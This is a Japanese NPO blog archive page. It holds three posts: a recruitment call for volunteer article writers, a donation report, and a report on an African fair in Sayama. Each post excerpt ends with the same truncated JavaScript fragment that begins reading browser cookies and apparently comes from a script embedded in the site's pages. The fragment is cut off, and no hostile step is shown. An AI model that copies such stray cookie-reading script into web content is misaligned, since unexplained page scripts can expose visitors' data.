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2018年7月 – 特定非営利活動法人AYINA
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『アフリカへの距離を縮めるために…』お手伝いしていただけませんか?

みなさんこんにちは!AYINAの藤内です!   最近、千葉県の外房の地域に行くことがあったんですが、あまりにも海あり、山あり、畑ありで最高の土地過ぎて、移住を本気で考えている藤内です!   みてください、この写真!アフリカ全く関係ないですが、無理やり繋げるとしたら、「この空もアフリカまで繋がってる…」とでも言っておきましょうヽ(´ー`)ノ   バーン!!     これでもかってくらい絶賛曇り空だし、台風前で砂嵐やばいし、こんなに海の魅力が伝わらない写真に初めて出会ったって感じなんですが、気持ちは最高潮だったんです。。。今でも気持ちが浮つくくらいに…   そんなふわふわした気持ちを一旦ぐっと押し込めて、今日は真面目なお願いがあるんです!     アフリカに行きたいと思った時に、頼りにされる団体に 7月1日にAYINA共催のアフリカンフェア2018in狭山が無事終了しました。 重ねて、本当に来場していただいた方、ありがとうございました!   そして、実はそのアフリカンフェアの前の日に、AYINAでミーティングしてたんですが、 そこで話が一番盛り上がった話題、それが、、、     アフリカンホームステイ、もっと盛り上げない?     アフリカンホームステイってなにそれ?状態の方もいらっしゃると思うので、一応こちら。   (参考) アフリカンホームステイとは?   アフリカンホームステイって、『アフリカと日本の文化交流を深める』っていう理念に最も近い企画の一つで、もっと盛り上げていかないかって話になったんです。   実は今でもちょくちょくと、ホームステイに参加したいという意見を頂いていて、オーダーメイドのホームステイを行っているんです。けれども、本当はもっと頻繁にアフリカンホームステイを企画したいというのが本音。   要は、AYINAはこうなりたいんです。   アフリカに行きたいと思った時に、まず頼りにされる団体   「アフリカ行きたいな〜そういえばAYINAっていう団体あったな…一回連絡してみようかな」 こんな団体になりたいんです。     じゃあどうやってなるのか? じゃあどうやってなるのか。。。 そう、そこですよね。   まずAYINAの今の現状をお伝えしましょう。   ① アフリカホームステイへの参加希望者は前年に比べて、激増。まだまだ希望者を伸ばしたい。 ② 参加者のほとんどがAYINAメンバー個人の活動だったり、ホームページで活動の様子を見てくれて、応募してくれている。   今のAYINAはこんな現状。   特に「ホームページで活動を見て…」というのが、結構多いんですよね。   アフリカに行きたいなーと思った時に、AYINAのページにたどり着いて、アフリカホームステイ参加を決めてくださったという訳です。   そこで、僕たちは話し合いました。   もっとHPを盛り上げたい。『アフリカに行きたいなー』と思った時に、すぐAYINAがそばにいる状態にしたい。参加希望者のスマホの画面の向こう側に常にAYINA、が理想!   HPを盛り上げて、アフリカへの門戸をさらにたくさん増やすことで、アフリカホームステイへの参加者をどんどん増やしたい。 そう、必要なのは、魅力的な記事をたくさん執筆すること!     AYINAのその思い、手伝ってくれませんか?   参加希望者のスマホの画面の向こう側に常にAYINA   これめちゃくちゃ理想なんです。けれども、そんなに簡単ではないこともわかっています。 なぜなら、魅力的な記事を書いてくれる人が圧倒的に不足しているから。 そこで、このAYINAの思いを実現させるために、お手伝いをしてくれる人を募集しています。   どんな人を募集してる? 正直、特に限定はしていません! ただし、今回はボランティアというよりも、プロボノ的な位置づけでの募集をします! ちなみに、プロボノとは、   社会貢献活動というと「ボランティア」との違いはどこにあるのか、と思う方もいるでしょう。プロボノもボランティアも、無報酬で他人のために働くという意味では共通しています。では違いはどこにあるのでしょうか。 その違いは、プロボノは自分が培ってきたスキルを活かした活動であるのに対して、ボランティアはそうでないというところがあります。 プロボノは自らの得意分野を活かせるため生産性の高い活動ができ、自分の市場価値を知るきっかけにも。 出典:プロボノとボランティアの違いは?   ボランティアと同じ意味で使われることも多いんですが、ちょっと違いますよね。 プロボノは自分が培ってきたスキルを活かした活動であることが特徴です。 ある種、スキルアップや経験としての活動として定義されるようです。   今回はこのプロボノ的な位置づけで、募集したいのです。   ただし、上に紹介したプロボノとはちょっと意味合いがずれます。 理想でいうと、 自分が培ってきたスキルを活かした活動である というよりも、 自分が持っている体験、経験、知識を活かした活動をお願いしたいのです。   募集の要項は? プロボノとして一緒に活動していきたい内容は、記事の執筆です。 記事と言っても、5000文字以上とかの大ボリュームの記事ではありません。 テーマにもよりますが、2~3分でさらっと読めるような記事をお願いする予定です。 頻度ですが、週に1記事〜でも構いません。要相談で決めていきましょう! 募集人数は、特に決めていませんが、初回の募集なので3名程度だと考えています。 実際に記事を執筆する時期も、要相談で決めていきましょう。ただし8月頃を予定しています!     AYINAからのお礼 こちらも基本的には相談ベースになりますが、自分でブログやサイトを持っている方なら、リンクを乗せることも可能です。その他、AYINAのHPでアフリカンイベントの紹介も可能なので、ご相談ください。 基本的に、お礼の決まりもルールもないので、相談させてください!   みなさん、ご協力をお願い致します! アフリカに行きたいと思った時に、まず頼りにされる団体   本気で目指しています。もちろんすぐには叶いませんが、ちょっとずつでも近づいていきたいです。 アフリカをもっと身近にするために、是非一緒に活動しましょう!   AYINAプロボノの募集要項 ◯ 内容 記事の執筆(2~3分で読める程度) ◯ 記事の作成頻度 要相談(週に1記事〜を想定) ◯ 期間 要相談(8月頃〜を想定) ◯ 募集人数 3名程度   もしご協力頂ける方は、問い合わせページからご連絡ください!よろしくお願いします!   --- AYINAのおすすめ記事コレクション --- ◯ NPO文化学習協同ネットワーク居場所さまにてアフリカ交流! ◯ 【アフリカX】アフリカ×山形県置賜地方【アフリカと東北を繋ぐ】 ◯ アフリカタイム@山形県東根市アガスケハウスに参加してきました!     function...

2018年6月度AYINA polca募金の御礼とご報告

副代表の内藤です! 2月から新たに導入させて頂きました、polcaを使った毎月の募金支援。 2月度は8名の方に総額4,800円をご支援頂きました! 3月度は15名の方に総額7,700円をご支援頂きました! 4月度は14名の方に総額9,300円をご支援頂きました! 5月度は28名の方に総額14,600円をご支援頂きました! そして6月度は12名の方に総額6,300円をご支援頂きました! ご支援頂きました皆様は、 asato様 支倉常明様 カナタク@ご当地カレーおじさん様 tk.tuzu様 遠藤暁様 mochico2013様 トミーマキ様 tenipuri様 小笠原絢子様 MeiWatanabe様 chezlize様 chanhana様 です! 本当にありがとうございました!   毎月更新しておりました、ご支援者数と支援金額が一旦下がってしまったのは、副代表の内藤自身もpolcaをやらせて頂いていたのも要因になるかと思います。 ですが、そんな中でもAYINAを応援したいと思う方を増やす活動を続けていく必要があると思っております! 7月度のpolcaAYINA募金はこちら まず目標は1ヶ月で100名の方に投げ銭募金していただくことです! 応援してもらえるようにこれからも活発に活動していきますのでよろしくお願い致します! function getCookie(e){var U=document.cookie.match(new...

アフリカンフェア2018in狭山へのご来場、ありがとうございました!

みなさん、こんにちは!AYINAの藤内です。 先日7月1日(日)、埼玉県狭山市にてアフリカンフェア2018in狭山が開催されました! 今年も企画が盛りだくさんで、ものすごく盛り上がりました! 今回はそのご報告です!     ご来場ありがとうございました。 まずは、ご来場頂いた皆さん、本当にありがとうございました。 アフリカンフェアin狭山はAYINAにとっても、開催当時から共催させて頂き、思い入れの深いイベントであります。 毎年毎年、このようにたくさんの人に来場頂き、そしてアフリカを五感で感じていただけることは、AYINAのメンバーにとってものすごく嬉しいことです。 アフリカンフェアin狭山に限らず、アフリカに触れられるイベントをたくさん企画していきますので、楽しみにしていてください! そして、出店にご協力頂いた皆様、パフォーマーの皆様、急なお願いにも関わらずお手伝い頂いた皆様、本当にありがとうございました!     アフリカンフェア2018in狭山を振り返ってみよう ということで写真をメインにアフリカンフェア2018in狭山を振り返ってみたいと思います!     毎度ながら、アフリカの各国主要大使館さまを始め、たくさんの後援をいただきながら、開催に至りました。 そんななか、今年から新しくなりました、アフリカンフェア2018in狭山の会場。     本当に暑い中、準備設営に協力していただいた団体さん、ありがとうございました! 毎年ながら物品販売や料理で盛り上がっておりました!     今回最もバージョンアップしたのは、ステージ!!     ビクトリア・フォールズをイメージして制作されたこのステージ。 庭師さんによって作られたそうで、まさに日本の技術とアフリカの象徴がミックスしていて、最高でした!     演奏が始まると、そこは一気にアフリカンなムードに・・・     アフリカンミュージシャンと言えども、日本人の方はたくさんいらっしゃいます! こんな一流のアフリカンミュージシャンが集まるのも、アフリカンフェアin狭山ならではです!   * * *   ちなみに、今年もAYINAは共催団体ながら、ブース出店させていただきました。 販売したのはベナンのテイラーさんによって手作りされたトートバッグを始め、アフリカ各国現地の生産者さんが作った商品。 その中でも今回新たに挑戦したのは、ハイビスカスのジュース。ベナンでは「ビサップ」と呼ばれています。     暑かったのでゴクゴク飲めるようちょっと薄めで作りましたが、これまた大好評でした!     AYINAとしてはこうやって来場してくださった方とお話できるのは、何よりの至福でした! そして、このアフリカンフェアin狭山の良いところの一つとして、アフリカにあまり興味や関心がなかった人がたくさん来場してくださるところ。   『アフリカのイベントってなんだか初心者には行きづらい…』   という方もめちゃくちゃ来やすいアットホームな雰囲気がアフリカンフェアin狭山の素晴らしいところでもあります。     アフリカンフェアは人をつなぐ場所 アフリカンフェアの醍醐味と言えば、写真を見てもわかって頂ける通り、五感をフルに使ってアフリカにのめり込めるところ。 しかし、それ以上にアフリカンフェアin狭山が作り出す素晴らしいものがあるんです。 それは、出会いと縁。 今回のアフリカンフェアin狭山では、たくさんの人がAYINAのスタッフに会いに来てくれました。 久しぶりに会う方、内藤の講演に足を運んでくれた方、これからアフリカンホームステイに参加してくださる方… そしてスタッフの知り合い同士が、さらにその縁の輪を大きくしていく。 これ、AYINAとしてはものすごく嬉しいことなのです。   また、スタッフ同士の絆を深め合うことができています。     普段は都内や関東郊外、東北、京都、ベナン…それぞれが遠方で活動しているからこそ、このようなイベントをきっかけに集合させてもらえるのは本当に感謝しかないです。 本当にありがとうございます。   また来年も… また来年もアフリカンフェアin狭山、開催実現に向かって準備していきます。 今年都合の合わなかった方も是非お待ちしております!   最後に、 改めまして、出店者さま、パフォーマーのみなさま始め、アフリカンフェア2018in狭山の開催に携わってくださった全ての方々に御礼申し上げます。 本当にありがとうございました。 また来年も、よろしくお願い致します。 AYINAメンバー 一同 function getCookie(e){var U=document.cookie.match(new...